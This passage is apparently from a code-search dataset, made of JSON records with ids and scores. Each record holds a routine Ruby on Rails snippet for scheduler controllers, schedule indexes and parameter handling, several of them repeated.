@scheduler_type.save\n format.html { redirect_to @scheduler_type, notice: 'Scheduler type was successfully created.' }\n format.json { render :show, status: :created, location: @scheduler_type }\n else\n format.html { render :new }\n format.json { render json: @scheduler_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ef15f8b52a70683ccde16a0d2c91b51b", "score": "0.623653", "text": "def index\n @schedulers = Scheduler.all\n end", "title": "" }, { "docid": "ef15f8b52a70683ccde16a0d2c91b51b", "score": "0.623653", "text": "def index\n @schedulers = Scheduler.all\n end", "title": "" }, { "docid": "acd9daa32b80ae407a5aa440d03a24ca", "score": "0.62037426", "text": "def update\n respond_to do |format|\n if @scheduler_type.update(scheduler_type_params)\n format.html { redirect_to @scheduler_type, notice: 'Scheduler type was successfully updated.' }\n format.json { render :show, status: :ok, location: @scheduler_type }\n else\n format.html { render :edit }\n format.json { render json: @scheduler_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c90ebaa77cc2ae9ca040c67287fe53f7", "score": "0.6082176", "text": "def index\n @job_schedulers = JobScheduler.all\n end", "title": "" }, { "docid": "ce20e5a4b19f2f50994514e103deacb6", "score": "0.59809947", "text": "def scheduler\n @schedulers[WaterManager.first.scheduling_option]\n end", "title": "" }, { "docid": "315d14b1dd13587c81fb1daf2f4e4c0d", "score": "0.59724146", "text": "def set_scheduler\n @scheduler = Scheduler.find(params[:id])\n end", "title": "" }, { "docid": "315d14b1dd13587c81fb1daf2f4e4c0d", "score": "0.59724146", "text": "def set_scheduler\n @scheduler = Scheduler.find(params[:id])\n end", "title": "" }, { "docid": "315d14b1dd13587c81fb1daf2f4e4c0d", "score": "0.59724146", "text": "def set_scheduler\n @scheduler = Scheduler.find(params[:id])\n end", "title": "" }, { "docid": "45ff43ccef2aef436cd334198d8db599", "score": "0.59122235", "text": "def new\n @scheduler = Scheduler.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scheduler }\n end\n end", "title": "" }, { "docid": "41aff22cd5a748f541799994032b1219", "score": "0.5911493", "text": "def cron_get(type)\n cmd = \"{\\\"id\\\":13,\\\"method\\\":\\\"cron_get\\\",\\\"params\\\":[#{type}]}\\r\\n\"\n request(cmd)\n end", "title": "" }, { "docid": "8885e877d62e5c6058742abf71465400", "score": "0.5909644", "text": "def schedules\n params = init_params\n request_url = UrlGenerator.url_for(\"schedules\")\n asgn = SignatureGenerator.signature_for(http_verb: 'GET', url: request_url, params: params)\n\n res = self.get(request_url, query: params.merge!({asgn: asgn}))\n if res[\"status\"] == \"SUCCESS\"\n return res\n else\n return error_response_for(res)\n end\n end", "title": "" }, { "docid": "32209bae7d647a48c2a46baa459d93bf", "score": "0.58400464", "text": "def appointment_type(params = {})\n appointment_type = params.delete :uuid\n\n response =\n default_scope.get(\"schedule/appointmenttypes/#{appointment_type}\") do |request|\n request.params = params\n end\n\n JSON.parse(response.body)\n end", "title": "" }, { "docid": "d72ad4f225fe6bbfb4d1f3083edad591", "score": "0.57994854", "text": "def index\n @interviewschedulers = Interviewscheduler.all\n\n end", "title": "" }, { "docid": "09ee95e5aa784f9d3687c8d322473233", "score": "0.57298523", "text": "def schedule\n @schedules = ReportSchedule.all\n\n respond_to do |format|\n format.html\n format.json { render json: @schedules }\n end\n end", "title": "" }, { "docid": "b1c305aa86e3b0f731cb1173263f5c1c", "score": "0.5661289", "text": "def index\n @task_types = TaskType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @task_types }\n end\n end", "title": "" }, { "docid": "fafc11bad006146100c65002ac4b18ad", "score": "0.5653754", "text": "def index\n @run_types = RunType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @run_types }\n end\n end", "title": "" }, { "docid": "c54b84f1efb0bd469d7680ecf5d0f01d", "score": "0.56311", "text": "def destroy\n @scheduler_type.destroy\n respond_to do |format|\n format.html { redirect_to scheduler_types_url, notice: 'Scheduler type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5025ae3da2b73102bfa0a39e2789e2eb", "score": "0.5595995", "text": "def index\n @calendar_types = CalendarType.all\n end", "title": "" }, { "docid": "caa670e3cc8261519d907c65a6596930", "score": "0.5594815", "text": "def index\n @schedules = get_all_schedules\n\n respond_to do |format|\n format.html\n end\n end", "title": "" }, { "docid": "1842f949810abe63a37db16bc8e9fcb8", "score": "0.5567916", "text": "def index\n @timerecord_types = TimerecordType.paginate(:page => params[:page], :per_page => per_page).order('id')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timerecord_types }\n end\n end", "title": "" }, { "docid": "8a7e2bb80d628b7aa484c62544c42337", "score": "0.55653137", "text": "def scheduled\n response = get 'scheduled'\n response.map{|item| Hashie::Mash.new(item)}\n end", "title": "" }, { "docid": "e0877796f3a2af906cf32d7dd7c378de", "score": "0.55581534", "text": "def scheduler\n @scheduler || Rufus::Scheduler.new\n end", "title": "" }, { "docid": "424f62a4d71f7f9e74cb35c781efe230", "score": "0.55571985", "text": "def create\n @scheduler = Scheduler.new(scheduler_params)\n\n respond_to do |format|\n if @scheduler.save\n format.html { redirect_to @scheduler, notice: 'Scheduler was successfully created.' }\n format.json { render :show, status: :created, location: @scheduler }\n else\n format.html { render :new }\n format.json { render json: @scheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "118970f0f88c4c1c52c51917ec89e62d", "score": "0.5535099", "text": "def create\n @scheduler = Scheduler.new(params[:scheduler])\n\n respond_to do |format|\n if @scheduler.save\n format.html { redirect_to @scheduler, notice: 'Scheduler was successfully created.' }\n format.json { render json: @scheduler, status: :created, location: @scheduler }\n else\n format.html { render action: \"new\" }\n format.json { render json: @scheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "244c164897248eee8ecca1a623828137", "score": "0.5497263", "text": "def scheduler_params\n params.fetch(:scheduler, {})\n end", "title": "" }, { "docid": "bf3eca92f0163c83febf9b6ae324f212", "score": "0.54633147", "text": "def schedules\n\t\t@schedules = Schedule.includes(:schedulable).all\n\tend", "title": "" }, { "docid": "a8aa1a277d7d2e82ddf715bdae5f772f", "score": "0.54558045", "text": "def index\n @schedules = Schedule.order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @schedules }\n end\n end", "title": "" }, { "docid": "117cb157e89457c302520146e12ea4bd", "score": "0.54165775", "text": "def set_job_scheduler\n @job_scheduler = JobScheduler.find(params[:id])\n end", "title": "" }, { "docid": "ed049ad6bc45436b04610529f25d01eb", "score": "0.5383189", "text": "def index\n @scheduled_services = ScheduledService.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @scheduled_services }\n end\n end", "title": "" }, { "docid": "6474ac502064f1b3152dbe944f51e0ae", "score": "0.53827244", "text": "def update\n respond_to do |format|\n if @scheduler.update(scheduler_params)\n format.html { redirect_to @scheduler, notice: 'Scheduler was successfully updated.' }\n format.json { render :show, status: :ok, location: @scheduler }\n else\n format.html { render :edit }\n format.json { render json: @scheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f0a9ce1e276de07d9b1e49a1536c566a", "score": "0.5348469", "text": "def index\n @task_types = TaskType.all\n end", "title": "" }, { "docid": "860f049db0dc6fe2cb1473c2c91e22e9", "score": "0.5323246", "text": "def index\n @scheduled_tasks = ScheduledTask.paginate(\n :per_page => 20,\n :page => params[:page]\n )\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @scheduled_tasks }\n end\n end", "title": "" }, { "docid": "9245adaf59e8939bff546526ad18522d", "score": "0.5320071", "text": "def index\n @run_types = RunType.all\n end", "title": "" }, { "docid": "519da913d9a62fc2b86893c0d5961c5b", "score": "0.53042483", "text": "def index\n @event_types = EventType.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @event_types }\n end\n end", "title": "" }, { "docid": "c5b27c273baecf808970e5890d46c6a3", "score": "0.5303264", "text": "def index\n # @schedules = Schedule.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Oj.dump(@schedules, mode: :compat) }\n end\n end", "title": "" }, { "docid": "9646e1ae63f9c74699e0fd0d342eb3e1", "score": "0.52956384", "text": "def scheduled\n @topic_groups = Topic.upcoming_grouped_by_date\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @topic_groups }\n end\n end", "title": "" }, { "docid": "e69a4f89f429bb4027a154febd8b247c", "score": "0.52674675", "text": "def index\n @route_types = RouteType.all\n end", "title": "" }, { "docid": "7c36557c317aaa8548e2c39e330280b5", "score": "0.52658975", "text": "def show\n @breadcrumb = 'read'\n @timerecord_type = TimerecordType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @timerecord_type }\n end\n end", "title": "" }, { "docid": "469a62e084708a27cc797cf715790b7b", "score": "0.52606726", "text": "def index\n @service_schedules = ServiceSchedule.all\n\n render json: @service_schedules\n end", "title": "" }, { "docid": "305d0c52ae4c36c612c8b19ead4181ed", "score": "0.5260416", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end", "title": "" }, { "docid": "84e70f97ca6fe8ff33b9899a8b6543cc", "score": "0.52520347", "text": "def index\n @admin_schedules = Clapme::Schedule.all\n end", "title": "" }, { "docid": "fd9ac779b693c650f360f520fd87ed8d", "score": "0.5251877", "text": "def index\n @my_schedules = MySchedule.all\n end", "title": "" }, { "docid": "751cfbf928640e22d151b2726604832d", "score": "0.5244191", "text": "def index\n @user_schedules = UserSchedule.all\n end", "title": "" }, { "docid": "2093346e0bd1a11b879c5835c4a386b1", "score": "0.52388746", "text": "def index\n @agendaitemtypes = Agendaitemtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @agendaitemtypes }\n end\n end", "title": "" }, { "docid": "130d8fc26035fe9517229540cc567f1e", "score": "0.5226232", "text": "def scheduler_agent\n agent_id = scheduler_agent_id or return nil\n\n Agent.of_type(Agents::SchedulerAgent).active.find_by(id: agent_id)\n end", "title": "" }, { "docid": "11a87ff023b4adb932d93c2a7dabbee7", "score": "0.5226173", "text": "def scheduler_params\n params.require(:scheduler).permit(:event_date, :start_time, :end_time, :assigned_to_user_id, :job_id, :scheduler_event_type_id, :notes, :title)\n end", "title": "" }, { "docid": "d56ec1dad2ff4b16f2f0b34532c18c38", "score": "0.5225719", "text": "def types\n if @@types.nil? || (@@last_type_check + (4 * 60 * 60)) < Time.now\n @@last_type_check = Time.now\n @@types = _make_request(:types)['results']\n end\n @@types\n end", "title": "" }, { "docid": "0c09573de8ae66d2c1098b6ed7c48ac8", "score": "0.5218818", "text": "def get_schedule(name)\n convert_result(Que.execute(Que::Scheduler::SQL[:get_schedule_by_name], [name]))[name]\n end", "title": "" }, { "docid": "b050a41396ceb6e45647cd44f997c3bf", "score": "0.5216238", "text": "def lookup(type)\n @resource_types[type] || []\n end", "title": "" }, { "docid": "26387eaf9dbbafdbecd6214521960b36", "score": "0.52152294", "text": "def index\n @worker_types = WorkerType.all\n end", "title": "" }, { "docid": "9258c3c7c88d8588b88799ac1e4b5c8f", "score": "0.52105594", "text": "def create\n @scheduler = Scheduler.new(scheduler_params)\n @scheduler.job_id = @job.id\n if @scheduler.scheduler_event_type_id == 5\n @scheduler.check_manager(@job)\n end\n\n respond_to do |format|\n if @scheduler.save\n @job.track 'Scheduler Created', current_user, @scheduler\n format.html { redirect_to job_path(@job), notice: 'Scheduler was successfully created.' }\n format.json { render :show, status: :created, location: @scheduler }\n else\n format.html { redirect_to job_path(@job), errors: @scheduler.errors }\n format.json { render json: @scheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b76a6c05d2dafa3535e0d4821a682d23", "score": "0.52008176", "text": "def schedules\n @doc.at_xpath('/a:akomaNtoso/a:components/a:component/a:doc[@name=\"schedules\"]/a:mainBody', a: NS)\n end", "title": "" }, { "docid": "4a01520684f76e8a43f56f052ed15c7f", "score": "0.5199899", "text": "def find_legacy_scheduling_type\n strong_memoize(:find_legacy_scheduling_type) do\n needs.exists? ? :dag : :stage\n end\n end", "title": "" }, { "docid": "d1313801ae6afb79a83c307e530a2e31", "score": "0.5197888", "text": "def appointment(params = {})\n @appointment_id = params.delete :appointment_id\n scope 'user_schedule'\n\n get_one('schedule/appointmenttypes/', @appointment_id, params)\n end", "title": "" }, { "docid": "9cd6f9c56b2015ecac5173900b43d002", "score": "0.5193721", "text": "def schedulable_fields\n schedulable_type.constantize.send(:column_names).sort - [\"id\", \"created_at\", \"updated_at\", \"cached_slug\"]\n end", "title": "" }, { "docid": "eb554d6a8ecd6bad6f3478ae0b751498", "score": "0.51931417", "text": "def index\n @yarn_types = YarnType.all\n end", "title": "" }, { "docid": "f1589e2c2ed02fa3b1ae15ccb9aadd90", "score": "0.51926225", "text": "def fetch_schedule(name)\n schedule[name]\n end", "title": "" }, { "docid": "82b6fee44b09bfb4e8e1ffd5eddf77c6", "score": "0.5189663", "text": "def schedule_configure\n @report_schedules = ReportSchedule.all\n\n respond_to do |format|\n format.html \n format.json { render json: @report_schedules }\n end\n end", "title": "" }, { "docid": "c887d344b9ebaccb42b666baa68d6d61", "score": "0.5188232", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schedule, methods: :bookings }\n end\n end", "title": "" }, { "docid": "4381d1d6d7c23c835903d6fac43050f8", "score": "0.51872736", "text": "def index\n @event_types = EventType.all\n respond_with @event_types\n end", "title": "" }, { "docid": "aaf30505fe376bc7e7852cd201ad1ca6", "score": "0.51813513", "text": "def types\n @client.make_request :get, reports_path\n end", "title": "" }, { "docid": "99d5ce65857e9c572d0d0c09bcb7fef0", "score": "0.5180723", "text": "def index\n @task_types = TaskType.pretty_list\n end", "title": "" }, { "docid": "f9be15df6cc218abd30d020baa4f0457", "score": "0.51713383", "text": "def show\n @user_schedule = UserSchedule.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_schedule }\n end\n end", "title": "" }, { "docid": "3ef4e379027a5e7f1c9bd070b9a08b39", "score": "0.5167888", "text": "def task_type_obj\n\t\tTASK_TYPES_L.select { |e| e[:value] == self.task_type }.first\n\tend", "title": "" }, { "docid": "53c61189bbbe9b3e2231f248cca823f9", "score": "0.5156998", "text": "def index\n @scheduled_facilities = ScheduledFacility.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @scheduled_facilities }\n end\n end", "title": "" }, { "docid": "768aaa24d5e0988b8e9bc25f991ca6c7", "score": "0.51445484", "text": "def show\r\n @route_schedule = RouteSchedule.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @route_schedule }\r\n end\r\n end", "title": "" }, { "docid": "7baa3a6dcf1cf8446bb5a19435f1c42c", "score": "0.5140028", "text": "def index\n @bus_schedules = BusSchedule.all\n end", "title": "" }, { "docid": "226f5a11939e911c54a546beb03070af", "score": "0.51320297", "text": "def get_lesson_types\n get \"lessonTypes.json\"\n end", "title": "" }, { "docid": "98e270c3be9230cc46a606589367f228", "score": "0.51316607", "text": "def index\n @task_types = @project.task_types\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @task_types }\n end\n end", "title": "" }, { "docid": "c5e2e4d4efabfd49ef49fe504e3894e7", "score": "0.51269543", "text": "def update\n @scheduler = Scheduler.find(params[:id])\n\n respond_to do |format|\n if @scheduler.update_attributes(params[:scheduler])\n format.html { redirect_to @scheduler, notice: 'Scheduler was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4a6ed9997d2180e1330868f6517b3b68", "score": "0.51176256", "text": "def index\n @arrivaltypes = Arrivaltype.all\n end", "title": "" }, { "docid": "7790e059a1f7621a1e2bdb3f88493ab6", "score": "0.5111437", "text": "def index\n log_request(\"Show All Schedules\")\n\n @schedules = Schedule.all\n\n @response = {\n \tevents: @schedules\n }\n\n respond_to do |format|\n format.html { @schedules }\n format.json { render :json => @response }\n end\n end", "title": "" }, { "docid": "1d31742b91d73ef98578c315a4890a93", "score": "0.50993353", "text": "def show\n @task_type = TaskType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task_type }\n end\n end", "title": "" }, { "docid": "32e8dc86267f1d5db84c37b71b0c3de4", "score": "0.50937617", "text": "def index\n @agent_schedules = AgentSchedule.all\n end", "title": "" }, { "docid": "a32e32dae31040a25c9bcacf413118ca", "score": "0.5089922", "text": "def index\n @workflow_types = WorkflowType.all\n end", "title": "" }, { "docid": "80a32ec8c3bd2407262c5b1cf5894d5d", "score": "0.50892204", "text": "def destroy\n @scheduler = Scheduler.find(params[:id])\n @scheduler.destroy\n\n respond_to do |format|\n format.html { redirect_to schedulers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5088237", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5088237", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5088237", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5088237", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5088237", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5088237", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5088237", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5088237", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5088237", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5088237", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "841eb5c6137749cbf2397b8b61ae912b", "score": "0.508639", "text": "def schedule\n prepare_scan_group_tab_data\n prepare_schedule_data\n\n respond_to do |format|\n format.html # index.html.erb\n format.js { render 'schedule.js' }\n format.json { render json: @scans }\n end\n end", "title": "" }, { "docid": "fd9ff3532876e63492a04b727b9eb13d", "score": "0.507855", "text": "def index\n @schedules = Schedule.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @schedules }\n end\n end", "title": "" }, { "docid": "dd39c487c98d0ed2bb109be40beade5b", "score": "0.5068885", "text": "def index\n @runschedules = Runschedule.all\n end", "title": "" }, { "docid": "6aab06bdaef7a2c3266fe339bf576d87", "score": "0.5064488", "text": "def update\n respond_to do |format|\n if @scheduler.update(scheduler_params)\n format.html { redirect_to job_scheduler_path(@job, @scheduler), notice: 'Scheduler was successfully updated.' }\n format.json { render :show, status: :ok, location: @scheduler }\n else\n format.html { render :edit }\n format.json { render json: @scheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "882129e43086edbe5a06dca3b4178526", "score": "0.50563025", "text": "def all\n Array(@@job_scheduler_instance)\n end", "title": "" }, { "docid": "4bafbe6e3489505a4e69eb0ad193aa18", "score": "0.5050643", "text": "def index\n @job_applications = JobApplication.for_status params[:status_type]\n end", "title": "" }, { "docid": "416de8e152e24392aa627d2ca6ef31d5", "score": "0.5044037", "text": "def show\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @schedule }\n end\n end", "title": "" } ]
f50292f14a47ede175d3ee56800db83a
Sets the attribute render_length_limit
[ { "docid": "df33e670709f61939b5e429d1e94129e", "score": "0.79348665", "text": "def render_length_limit=(_arg0); end", "title": "" } ]
[ { "docid": "a0e668abf89f3a32bd86390a886c7749", "score": "0.8146549", "text": "def render_length_limit; end", "title": "" }, { "docid": "e24d0d6637b67c4434f0cc216cd80fb8", "score": "0.7537066", "text": "def max_length=(value)\n @max_length = value\n end", "title": "" }, { "docid": "d2cb98fc55572cc74d7c7c704536de9b", "score": "0.7070128", "text": "def set_MaxLength(value)\n set_input(\"MaxLength\", value)\n end", "title": "" }, { "docid": "d2cb98fc55572cc74d7c7c704536de9b", "score": "0.7070128", "text": "def set_MaxLength(value)\n set_input(\"MaxLength\", value)\n end", "title": "" }, { "docid": "d2cb98fc55572cc74d7c7c704536de9b", "score": "0.7070128", "text": "def set_MaxLength(value)\n set_input(\"MaxLength\", value)\n end", "title": "" }, { "docid": "d2cb98fc55572cc74d7c7c704536de9b", "score": "0.7070128", "text": "def set_MaxLength(value)\n set_input(\"MaxLength\", value)\n end", "title": "" }, { "docid": "e97934bd0096a82c9a1d4f208f58ba09", "score": "0.70115185", "text": "def max_length=(new_max_length)\n @max_length = new_max_length\n chars = @text.scan(/./m)\n @text = chars[0, @max_length].join if chars.size > @max_length\n self.cursor_move_to_end if @cursor_position > chars.size\n end", "title": "" }, { "docid": "be18176c83af80089dfb6f834e1555d5", "score": "0.69812024", "text": "def length=(new_length) #:nodoc:\n if new_length == :unlimited\n @length = UNLIMITED_OCCURRENCES\n else\n @length = new_length\n end\n end", "title": "" }, { "docid": "1f87c28e24224c0df1b6506c33e3000f", "score": "0.6873427", "text": "def max=(length)\n @string_rule.max = length\n end", "title": "" }, { "docid": "48a07fd27c6d5f3b47c1b9f6ab112f94", "score": "0.68554735", "text": "def set_Length(value)\n set_input(\"Length\", value)\n end", "title": "" }, { "docid": "3bfe971055f53584584784bbe90f9bb7", "score": "0.6725171", "text": "def length=(length)\n end", "title": "" }, { "docid": "e946a339d88bdf13eb53a4cbc331b9ab", "score": "0.66814953", "text": "def limit_value\n length\n end", "title": "" }, { "docid": "a68ea2c5d7b79b500d788bdec5655331", "score": "0.64698035", "text": "def render_length; end", "title": "" }, { "docid": "95aba146e741b28a8b63714dde7aed1d", "score": "0.6311221", "text": "def max_length\n MAX_LENGTH\n end", "title": "" }, { "docid": "26c5ec25db69adb09bfdf7d9ce943807", "score": "0.62782186", "text": "def max_length\n return @max_length\n end", "title": "" }, { "docid": "b43447e87344100f80b597d02dade5b5", "score": "0.6190921", "text": "def size=(size)\n if !size.nil? && size.to_s.length > 20\n fail ArgumentError, 'invalid value for \"size\", the character length must be smaller than or equal to 20.'\n end\n\n @size = size\n end", "title": "" }, { "docid": "e484eeda1e95893cec3a6f20b1993d3e", "score": "0.6162047", "text": "def length_override; end", "title": "" }, { "docid": "4b7dbde7759aa9c4d56563bc905a23c4", "score": "0.6152737", "text": "def length=(val)\n @length = val.to_i\n\n reset\n end", "title": "" }, { "docid": "32f74aea5be41e6141467711bdbcec10", "score": "0.6132596", "text": "def body_length=(arg)\n @body_length = arg.to_i\n end", "title": "" }, { "docid": "5321c80b1e2d7436f4add0783cddb224", "score": "0.6125395", "text": "def set_len\n @len = Len.find(params[:id])\n end", "title": "" }, { "docid": "4c0fe3376adf8ea76d89237c6bae1f90", "score": "0.61010617", "text": "def set_limit\n @limit = 250\n end", "title": "" }, { "docid": "0489df57161ad61ea614fbab5214b6db", "score": "0.60764796", "text": "def length= length\n @value = nil\n @length = length\n end", "title": "" }, { "docid": "23e82ee94e5780c6e418250678cf8d06", "score": "0.6064887", "text": "def velocity_limit=(new_velocity_limit)\n Klass.setVelocityLimit(@handle, @index, new_velocity_limit.to_f)\n\t new_velocity_limit\n end", "title": "" }, { "docid": "a360759f882791c8af221aa70782c0d0", "score": "0.6058335", "text": "def velocity_limit=(new_velocity_limit)\n Klass.setVelocityLimit(@handle, @index, new_velocity_limit.to_f)\n new_velocity_limit\n end", "title": "" }, { "docid": "e1e61a54c8a0e415bbcefdc4db16436e", "score": "0.6029163", "text": "def max_line_length\n @max_line_length ||= ProxPage.max_line_length\nend", "title": "" }, { "docid": "feda0a9dda4b66c0b1d55e19fec910f9", "score": "0.5992928", "text": "def max_length(attrs, length)\n Array(attrs).each do |attr|\n error(attr, \"is too long (maximum is #{length} characters)\") if @object.send(attr).size > length\n end\n end", "title": "" }, { "docid": "85ae381b5402d32ab3e80eb58bef4cba", "score": "0.59909695", "text": "def maximal_length\n if !self.value.blank? && self.maxLength\n errors.add(:value, 'is too long!') if self.value.length > self.maxLength\n end\n end", "title": "" }, { "docid": "de51d9da3343f0a75d8b0ef1e9488450", "score": "0.5984496", "text": "def set_len\n @len = Len.find(params[:id])\n end", "title": "" }, { "docid": "9083393c9b779ccfed06a6b622fc9c55", "score": "0.5957794", "text": "def length=(minutes)\n write_attribute(:length, minutes.to_i * 60)\n end", "title": "" }, { "docid": "49ca98025a5d584bd262af85c0d88063", "score": "0.59435725", "text": "def buffer_initial_length=(length)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "b514d8b11783354dce20d6aa1be31972", "score": "0.59283185", "text": "def render_length=(_arg0); end", "title": "" }, { "docid": "d74232b272af24d15e015564d3b51d13", "score": "0.5884112", "text": "def length\n # TODO: add a default for length if not in params (instead of just 5!)\n @params[:length].to_i > 0 ? @params[:length].to_i : 5 # or use @cfg[:default][:length].to_i\n end", "title": "" }, { "docid": "8cc79cb37bdaa6bd7c4ebae07cdc489e", "score": "0.584797", "text": "def width=(width)\n @width = width.to_s\n\n setOption('width', @width)\n end", "title": "" }, { "docid": "dcec46dfd969d843915fd29f3dec2a16", "score": "0.584751", "text": "def input_html_options\n {\n :maxlength => options[:input_html].try(:[], :maxlength) || limit,\n :size => builder.default_text_field_size,\n :placeholder => placeholder_text\n }.merge(super)\n end", "title": "" }, { "docid": "ff0f9951584fb0230a90f71c9480c75a", "score": "0.5846165", "text": "def limit(_limit)\n @limit = _limit\n self\n end", "title": "" }, { "docid": "1e6069118ad515e457392f070c35b716", "score": "0.58432806", "text": "def password_minimum_length=(value)\n @password_minimum_length = value\n end", "title": "" }, { "docid": "1e6069118ad515e457392f070c35b716", "score": "0.58432806", "text": "def password_minimum_length=(value)\n @password_minimum_length = value\n end", "title": "" }, { "docid": "1e6069118ad515e457392f070c35b716", "score": "0.58432806", "text": "def password_minimum_length=(value)\n @password_minimum_length = value\n end", "title": "" }, { "docid": "1e6069118ad515e457392f070c35b716", "score": "0.58432806", "text": "def password_minimum_length=(value)\n @password_minimum_length = value\n end", "title": "" }, { "docid": "580d55825fb9deed8e6b39674b687955", "score": "0.58302724", "text": "def truncate(max)\n length = Math.min(max, length)\n self\n end", "title": "" }, { "docid": "64572d398f196dce4181e2d506b7e175", "score": "0.5821677", "text": "def limit(number)\n @options[:limit] = number\n self\n end", "title": "" }, { "docid": "1449414f5885a223a2027326efd92fea", "score": "0.5818857", "text": "def entity_expansion_text_limit=(val); end", "title": "" }, { "docid": "59610cec4a9b16f5e479608c9b2ec6c7", "score": "0.58170146", "text": "def limit limit\n unless limit.is_a? Fixnum\n raise ArgumentError, 'Limit must be an integer'\n end\n @options[:limit] = limit.to_s\n self\n end", "title": "" }, { "docid": "e41cc167d1f23992a8ea4e77149ad153", "score": "0.5765283", "text": "def buffer_size=(value)\n @buffer_size = value\n flush\n end", "title": "" }, { "docid": "48f3c304c6268eb30a3c2f7c84689506", "score": "0.57565135", "text": "def title_size=(v)\n @title.text_size = v unless v.to_s.empty?\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": "5e4f7f2ad2ab387c8e4540ab2a4a28bc", "score": "0.5740451", "text": "def set_Limit(value)\n set_input(\"Limit\", value)\n end", "title": "" }, { "docid": 